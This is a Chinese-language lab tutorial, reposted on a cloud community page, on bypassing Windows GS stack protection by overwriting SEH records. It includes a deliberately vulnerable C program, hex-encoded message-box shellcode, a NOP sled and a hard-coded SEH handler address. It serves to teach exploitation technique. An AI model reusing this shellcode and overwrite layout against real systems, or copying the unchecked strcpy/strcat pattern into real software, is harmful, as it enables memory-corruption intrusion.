OD: GS Bypasing via SEH

來源:互聯網
上載者:User

標籤:des   style   blog   color   io   strong   ar   div   

通過 SEH 繞過 GS 保護

GS 機制沒對 SEH 提供保護,所以可心通過攻擊異常來繞過 GS。

實驗環境為:VMware : Windows 2000 sp4, 此版本無 SafeSEH 的影響Visual Studio 2005    Project Properties : Release, Disable Optimization

代碼如下:

 1 #include <string.h> 2 char shellcode[]= 3 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 4 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 5 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 6 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 7 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 8 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 9 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"10 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"11 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"12 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"13 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"      // 168 位元組的彈窗 shellcode14 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"21 "\x90\x90\x90\x90"  // 116 位元組的 nop,  168 + 116 = 28422 "\x90\x90\x90\x90"  // seh chain23 "\x94\xFE\x12\x00"  // seh handler24 ;25 void test(char * input)26 {27     char buf[200];28     strcpy(buf,input);29     strcat(buf,input);    // destroy stack frame & throw exception30 }31 void main()32 {33     test(shellcode);34 }

函數 test() 存在典型溢出漏洞,line 28 處的 strcpy 會溢出 buf[],當 char* input 足夠長時 SEH 鏈表會被覆蓋;line 29 處的 strcat() 會破壞棧幀,觸發異常。

shellcode 的長度要事先通過 OllyDbg 調試確定。實驗中 SEH Chain 的第一個節點距離棧幀中 buf 的距離為 284,line 22-23 覆蓋 SEH 第一節點。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.